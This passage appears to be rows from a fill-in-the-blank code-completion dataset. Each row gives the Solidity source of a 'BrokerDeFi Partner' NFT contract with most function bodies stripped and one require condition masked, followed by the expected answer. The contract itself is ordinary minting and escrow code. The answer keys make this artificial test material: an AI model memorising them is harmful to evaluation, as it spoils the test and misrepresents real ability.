function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
interface IBrokerDefiPriceConsumer {
function getPartnerPriceInEth() external view returns(uint);
}
contract BrokerDefiPartner is ERC721, Ownable, ReentrancyGuard {
uint public TOKEN_ID = 0; // starts from one
address public BROKER_DEFI_PRICE_CONSUMER = 0xd16e37A0D7EF673feFD6b6359E4108b31B710856;
uint public MAX_PER_TRX = 10;
uint public ALLOCATED_FOR_TEAM = 250;
uint public TEAM_COUNT;
bool public ESCROW_ALLOWED = true;
uint256 public MAX_SUPPLY = 2500; // max supply of nfts
bool public saleIsActive = true; // to control public sale
address payable public treasury = payable(0xA86B7feF6cD21ED65eD3D2AE55118cd436C58C66);
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// mapping for tokenId to current escrow period if token is in escrow
mapping(uint256 => uint256) public escrowedAt;
// mapping for tokenId to total escrow period, doesn't include the escrow period
mapping(uint256 => uint256) public escrowPeriod;
// mapping for tokenIds to partner codes
mapping(uint256 => uint256) public partnerCodes;
// mapping for partner codes to partner code usage count
mapping(uint256 => uint256) public partnerCodesCount;
// mapping for partner codes to token ids
mapping(uint256 => uint256) public codeOwners;
// additional mapping for partner codes verification for easy one step code check
mapping(uint256 => bool) public partnerCodesVerification;
uint public PARTNER_COMMISSION = 20;
uint public PARTNER_DISCOUNT = 10;
string public baseTokenURI = "https://brokerdefi.io/api/v1/metadata-partner/";
constructor() ERC721("BrokerDeFi Partner", "BDPT") {}
function setPriceConsumer(address priceConsumer) public onlyOwner() {
}
function setPartnerCommission(uint commission) public onlyOwner() {
}
function setPartnerDiscount(uint discount) public onlyOwner() {
}
function allowEscrow(bool allow) public onlyOwner() {
}
function changeTreasuryAddress(address payable _newTreasuryAddress) public onlyOwner() {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner() {
}
// function to set a particular token uri manually if something incorrect in one of the metadata files
function setTokenURI(uint tokenID, string memory uri) public onlyOwner() {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function flipSaleState() public onlyOwner {
}
function setMaxPerTrx(uint maxPerTrx) public onlyOwner {
}
// code is actually just a six digit number and it will be public so people can distribute their code to others,
function setCode(uint tokenId) private {
}
function getTotalEscrowPeriod(uint tokenId) public view returns(uint) {
}
function escrow(uint tokenId) public {
require(ESCROW_ALLOWED, "escrow not allowed");
require(ERC721._exists(tokenId), "escrowing non existent token");
require(ERC721.ownerOf(tokenId) == msg.sender, "Not your token");
require(<FILL_ME>)
escrowedAt[tokenId] = block.timestamp;
}
function deEscrow(uint tokenId) public {
}
function getTokenPrice() public view returns (uint price) {
}
function publicMint(address to, uint amount, uint code) public payable nonReentrant {
}
// mass minting function, one for each address, for team
function massMint(address[] memory addresses) public onlyOwner() {
}
/**
@dev Block transfers while escrowing.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferWhileEscrow(
address from,
address to,
uint256 tokenId
) public {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
// additional burn function
function burn(uint256 tokenId) public {
}
// token ids function for view only, convenience function for frontend to fulfil the gap of erc721 enumerable
function ownerTokens() public view returns(uint[] memory) {
}
}
| escrowedAt[tokenId]==0,"Already in escrow" | 109,122 | escrowedAt[tokenId]==0 |
"Not in escrow yet" | // SPDX-License-Identifier: MIT
/**
* @title BrokerDefi Partner tokens
* author : saad sarwar
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
interface IBrokerDefiPriceConsumer {
function getPartnerPriceInEth() external view returns(uint);
}
contract BrokerDefiPartner is ERC721, Ownable, ReentrancyGuard {
uint public TOKEN_ID = 0; // starts from one
address public BROKER_DEFI_PRICE_CONSUMER = 0xd16e37A0D7EF673feFD6b6359E4108b31B710856;
uint public MAX_PER_TRX = 10;
uint public ALLOCATED_FOR_TEAM = 250;
uint public TEAM_COUNT;
bool public ESCROW_ALLOWED = true;
uint256 public MAX_SUPPLY = 2500; // max supply of nfts
bool public saleIsActive = true; // to control public sale
address payable public treasury = payable(0xA86B7feF6cD21ED65eD3D2AE55118cd436C58C66);
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// mapping for tokenId to current escrow period if token is in escrow
mapping(uint256 => uint256) public escrowedAt;
// mapping for tokenId to total escrow period, doesn't include the escrow period
mapping(uint256 => uint256) public escrowPeriod;
// mapping for tokenIds to partner codes
mapping(uint256 => uint256) public partnerCodes;
// mapping for partner codes to partner code usage count
mapping(uint256 => uint256) public partnerCodesCount;
// mapping for partner codes to token ids
mapping(uint256 => uint256) public codeOwners;
// additional mapping for partner codes verification for easy one step code check
mapping(uint256 => bool) public partnerCodesVerification;
uint public PARTNER_COMMISSION = 20;
uint public PARTNER_DISCOUNT = 10;
string public baseTokenURI = "https://brokerdefi.io/api/v1/metadata-partner/";
constructor() ERC721("BrokerDeFi Partner", "BDPT") {}
function setPriceConsumer(address priceConsumer) public onlyOwner() {
}
function setPartnerCommission(uint commission) public onlyOwner() {
}
function setPartnerDiscount(uint discount) public onlyOwner() {
}
function allowEscrow(bool allow) public onlyOwner() {
}
function changeTreasuryAddress(address payable _newTreasuryAddress) public onlyOwner() {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner() {
}
// function to set a particular token uri manually if something incorrect in one of the metadata files
function setTokenURI(uint tokenID, string memory uri) public onlyOwner() {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function flipSaleState() public onlyOwner {
}
function setMaxPerTrx(uint maxPerTrx) public onlyOwner {
}
// code is actually just a six digit number and it will be public so people can distribute their code to others,
function setCode(uint tokenId) private {
}
function getTotalEscrowPeriod(uint tokenId) public view returns(uint) {
}
function escrow(uint tokenId) public {
}
function deEscrow(uint tokenId) public {
require(<FILL_ME>)
require(ERC721._exists(tokenId), "Descrowing non existent token");
require(ERC721.ownerOf(tokenId) == msg.sender, "Not your token");
escrowPeriod[tokenId] += (block.timestamp - escrowedAt[tokenId]);
escrowedAt[tokenId] = 0;
}
function getTokenPrice() public view returns (uint price) {
}
function publicMint(address to, uint amount, uint code) public payable nonReentrant {
}
// mass minting function, one for each address, for team
function massMint(address[] memory addresses) public onlyOwner() {
}
/**
@dev Block transfers while escrowing.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferWhileEscrow(
address from,
address to,
uint256 tokenId
) public {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
// additional burn function
function burn(uint256 tokenId) public {
}
// token ids function for view only, convenience function for frontend to fulfil the gap of erc721 enumerable
function ownerTokens() public view returns(uint[] memory) {
}
}
| escrowedAt[tokenId]!=0,"Not in escrow yet" | 109,122 | escrowedAt[tokenId]!=0 |
"Config not done yet" | // SPDX-License-Identifier: MIT
/**
* @title BrokerDefi Partner tokens
* author : saad sarwar
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
interface IBrokerDefiPriceConsumer {
function getPartnerPriceInEth() external view returns(uint);
}
contract BrokerDefiPartner is ERC721, Ownable, ReentrancyGuard {
uint public TOKEN_ID = 0; // starts from one
address public BROKER_DEFI_PRICE_CONSUMER = 0xd16e37A0D7EF673feFD6b6359E4108b31B710856;
uint public MAX_PER_TRX = 10;
uint public ALLOCATED_FOR_TEAM = 250;
uint public TEAM_COUNT;
bool public ESCROW_ALLOWED = true;
uint256 public MAX_SUPPLY = 2500; // max supply of nfts
bool public saleIsActive = true; // to control public sale
address payable public treasury = payable(0xA86B7feF6cD21ED65eD3D2AE55118cd436C58C66);
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// mapping for tokenId to current escrow period if token is in escrow
mapping(uint256 => uint256) public escrowedAt;
// mapping for tokenId to total escrow period, doesn't include the escrow period
mapping(uint256 => uint256) public escrowPeriod;
// mapping for tokenIds to partner codes
mapping(uint256 => uint256) public partnerCodes;
// mapping for partner codes to partner code usage count
mapping(uint256 => uint256) public partnerCodesCount;
// mapping for partner codes to token ids
mapping(uint256 => uint256) public codeOwners;
// additional mapping for partner codes verification for easy one step code check
mapping(uint256 => bool) public partnerCodesVerification;
uint public PARTNER_COMMISSION = 20;
uint public PARTNER_DISCOUNT = 10;
string public baseTokenURI = "https://brokerdefi.io/api/v1/metadata-partner/";
constructor() ERC721("BrokerDeFi Partner", "BDPT") {}
function setPriceConsumer(address priceConsumer) public onlyOwner() {
}
function setPartnerCommission(uint commission) public onlyOwner() {
}
function setPartnerDiscount(uint discount) public onlyOwner() {
}
function allowEscrow(bool allow) public onlyOwner() {
}
function changeTreasuryAddress(address payable _newTreasuryAddress) public onlyOwner() {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner() {
}
// function to set a particular token uri manually if something incorrect in one of the metadata files
function setTokenURI(uint tokenID, string memory uri) public onlyOwner() {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function flipSaleState() public onlyOwner {
}
function setMaxPerTrx(uint maxPerTrx) public onlyOwner {
}
// code is actually just a six digit number and it will be public so people can distribute their code to others,
function setCode(uint tokenId) private {
}
function getTotalEscrowPeriod(uint tokenId) public view returns(uint) {
}
function escrow(uint tokenId) public {
}
function deEscrow(uint tokenId) public {
}
function getTokenPrice() public view returns (uint price) {
}
function publicMint(address to, uint amount, uint code) public payable nonReentrant {
require(amount > 0 && amount <= MAX_PER_TRX, "Invalid Amount");
require(<FILL_ME>)
require((TOKEN_ID + amount) <= MAX_SUPPLY, "Mint exceeds limits");
uint nftPrice = getTokenPrice();
require(msg.value >= (nftPrice * amount), "Not enough balance");
if (code > 0) {
require(partnerCodesVerification[code], "Wrong code");
partnerCodesCount[code] += 1;
uint commission = (msg.value / 100) * PARTNER_COMMISSION;
uint discount = (msg.value / 100) * PARTNER_DISCOUNT;
address payable recruiter = payable(ERC721.ownerOf(codeOwners[code]));
recruiter.transfer(commission);
treasury.transfer(msg.value - (commission + discount));
address payable buyer = payable(msg.sender);
buyer.transfer(discount); // transferring discount back to buyer
} else {
treasury.transfer(msg.value);
}
uint[] memory tokenIds = new uint[](amount);
for (uint index = 0; index < amount; index++) {
TOKEN_ID += 1;
_safeMint(to, TOKEN_ID);
tokenIds[index] = TOKEN_ID;
setCode(TOKEN_ID);
}
}
// mass minting function, one for each address, for team
function massMint(address[] memory addresses) public onlyOwner() {
}
/**
@dev Block transfers while escrowing.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferWhileEscrow(
address from,
address to,
uint256 tokenId
) public {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
// additional burn function
function burn(uint256 tokenId) public {
}
// token ids function for view only, convenience function for frontend to fulfil the gap of erc721 enumerable
function ownerTokens() public view returns(uint[] memory) {
}
}
| saleIsActive&&treasury!=address(0),"Config not done yet" | 109,122 | saleIsActive&&treasury!=address(0) |
"Mint exceeds limits" | // SPDX-License-Identifier: MIT
/**
* @title BrokerDefi Partner tokens
* author : saad sarwar
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
